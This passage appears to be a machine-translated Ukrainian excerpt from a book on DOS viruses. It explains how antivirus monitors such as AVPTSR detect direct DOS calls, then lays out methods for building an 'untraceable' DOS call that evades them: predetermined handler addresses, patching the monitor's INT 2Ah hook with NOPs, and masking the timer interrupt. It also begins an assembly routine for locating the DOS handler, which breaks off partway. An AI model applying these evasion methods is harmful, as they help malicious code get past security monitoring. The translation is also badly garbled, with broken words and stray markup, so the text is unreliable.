чити обробку викликів з кодами OOh, 4Ch, 31h (вони не повертають уп-
равленіе у вихідну точку), а також самовизовов (при завершенні
процесів за допомогою INT 27h і INT 20h). p>
Процес розвивається наступним чином. Перша це антивірус-
ного монітора вбудовується в ядро DOS, а друга - просто перехоплюючи-
ет ланцюжок 21-го переривання. Коли програма виконує інструкцію
INT 21h, управління передається другому компоненту. У антивірусних
моніторів існує список функцій, які сприймаються ними
як небезпечні. Вони можуть зробити перевірку на наявність заданої функ-
ції в цьому списку, потім виставити прапор "прохід ланцюжка" і передати
керування далі. Коли перший компонент отримує управління, він
перевіряє прапор "проходу ланцюжка". Якщо він виставлений, то була інстр-
рукція INT 21h, тому необхідно скинути прапор "прохід ланцюжка"
і передати керування в DOS. Якщо прапор скинутий, це означає, що був p>
5 - 1436 p>
виконаний прямий виклик. У цьому випадку потрібно приймати відпо-
ціалу заходи проти можливих дій вірусу. p>
Ця ідея виключно проста і ефективна. У тому чи іншому вигляді її
застосовують майже всі сучасні антивірусні монітори. Ось один
з таких варіантів. p>
Після трасування переривання виконується звернення до DOS по
оригінального адресою. Програма AVPTSR перехоплює звернення.
Точніше, AVPTSR перехоплює INT 2Ah, причому цей виклик вироблена-
ден з INT 21h, поблизу початку фрагмента. Оброблювач INT 08h,
тобто таймера, періодично відновлює вектор 2Ah, якщо він
був відключений. p>
Мається на увазі, що прапор проходу ланцюжка 21-го переривання перевіряючі
ється в обробнику INT 2Ah. p>
Конструювання неотслежіваемого звернення до DOS b> p>
Для чого потрібно таке конструювання? Невже антивірусні моні-
тори настільки пильні, що припиняють будь-які спроби відкрити для
модифікації ЕХЕ-або СОМ-файл? Так, це дійсно так. Авто-
ри антивірусних моніторів мають досить ефективними середовищ-
ствами, щоб запобігти прямі звернення до DOS з боку ви-
русів. p>
Звернемося до думки Ю. Косівцова: "Для виявлення дії нерішучість-
зідентних вірусів необхідно контролювати виклик функцій DOS
з номерами: 3Dh (відкриття файлу через описувач), OFh (відкриття
файлу через FCB і 5Dh) і підфункції OOh (непрямий виклик DOS).
Якщо при відкритті файлу виявлено, що розширення його СОМ, ЕХЕ
або SYS, то можна видавати попередження ". P>
Список виглядає надто коротким. Дійсно, а що станеться,
якщо спочатку перейменувати програмний файл? І чому не врахована
функція 6Ch (розширене відкриття файлу)? А що буде, якщо від-
крити файл для читання, а потім змінити режим доступу прямим обра-
щеніем до SFT? p>
Звичайно ж, автори антивірусних моніторів не настільки наївні. Просто
вони ніколи не розкривають свої професійні секрети. Наприклад,
автори програми AVPTSR реально врахували і використали всі ці мето-
дики і тонкощі. p>
Отже, припустимо, що гіпотетичний антивірусний супермонітор: p>
- відстежує і блокує спроби трасування 21-го перерви?? ия; p>
- для контролю "небезпечних" функцій DOS вбудовується в початок обра-
ботчіка переривання INT 21h; p>
- для запобігання прямого звернення до DOS використовує прапор,
що скидається або у вставленому фрагменті, або в обробнику
переривання 2Ah (більш грамотний підхід). p>
Ці дії монітора породжують відповідні проблеми при
конструюванні неотслежіваемого звернення до DOS. p>
Перша проблема досить просто вирішується з використанням "мето-
та зумовлених адрес". p>
Для вирішення другої проблеми варто проаналізувати можливий
розташування в обробнику DOS точки переходу на антивірусний
монітор. Очевидно, це може бути точка 0 або точка 1. У самому
гіршому випадку можна припустити, що врізка відбувається безпосереднім-
ного після команди перевірки на максимальне значення номера
функції. Далі обробник DOS "розтікається" на численні
струмочки, тому відстежити їх все вкрай важко. За край-
ній мірі, обробники функцій OFh, 3Dh і 5Fh потрапляють в різні
струмочки. Однак, при використанні обмеженого набору функцій
вони можуть розміститися і в одному потічку, що набагато спростить ре-
шеніе даного завдання. Опції 3Ch-43h, що відповідають за створення, від-
криті, закриття, читання, запис, атрибути і переміщення, дія-
тельно розташовуються в одному загальному потічку. Це дозволяє
використовувати адреса точки 2 для прямого звернення до DOS. Моніторинг-
ри, швидше за все, не будуть відслідковувати цю точку. p>
Рішення третій проблеми також не викличе особливих труднощів.
Один з варіантів - замаскувати переривання таймера і змінити
вектор 8-го переривання перед прямим зверненням до DOS. Замість з-
трансформаційних змін вектора можна спробувати вставити інструкції IRET в нача-
ло поточного (антивірусного) обробника. При використанні все того
ж методу "зумовлених адрес" і, знаючи позицію інструкції
INT 2Ah в обробнику DOS, перед прямим зверненням до DOS сліду-
ет просто замінити цей виклик двома командами NOP. p>
Приклад реалізації b> p>
Розглянемо дві підпрограми, які використовуються для прямого про-
рощення до DOS. p>
5 " p>
Підпрограма SetAdr призначена для визначення адреси оброблен-
чика DOS методом зумовлених адрес. Для версій DOS, "пра-
Вільний "адреса яких невідома, використовується функція DOS 35h
(одержати вектор переривання). p>
Підпрограма CallDOS дозволяє звертатися до DOS безпосередньо. У код
включена перевірка на номер функції. Для "безпечних" функцій
передбачений звичайний виклик DOS за допомогою інструкції INT 21h. p>
Процедура встановлення адреси (один з найкоротших,
; хоча і підозрілих варіантів реалізації)
SetAdr Ргос near p>
[Встановлюємо покажчик на таблицю в регістрі SI
mov si, offset Table p>
; Читаем чергове значення сегмента і зміщення з таблиці
Next: p>
mov es, [si] p>
mov bx, [si +2] p>
; Перевіряємо контрольний код у слові, адреса якого отримано
; з таблиці. Якщо результат негативний, переходимо
; до наступного елементу таблиці p>
cmp es: [bx], 2ACDh p>
jnz Skip p>
. Зберігаємо адреса точки 2А
mov Ofs2A, bx
mov Seg2A, es p>
; Зберігаємо адреса точки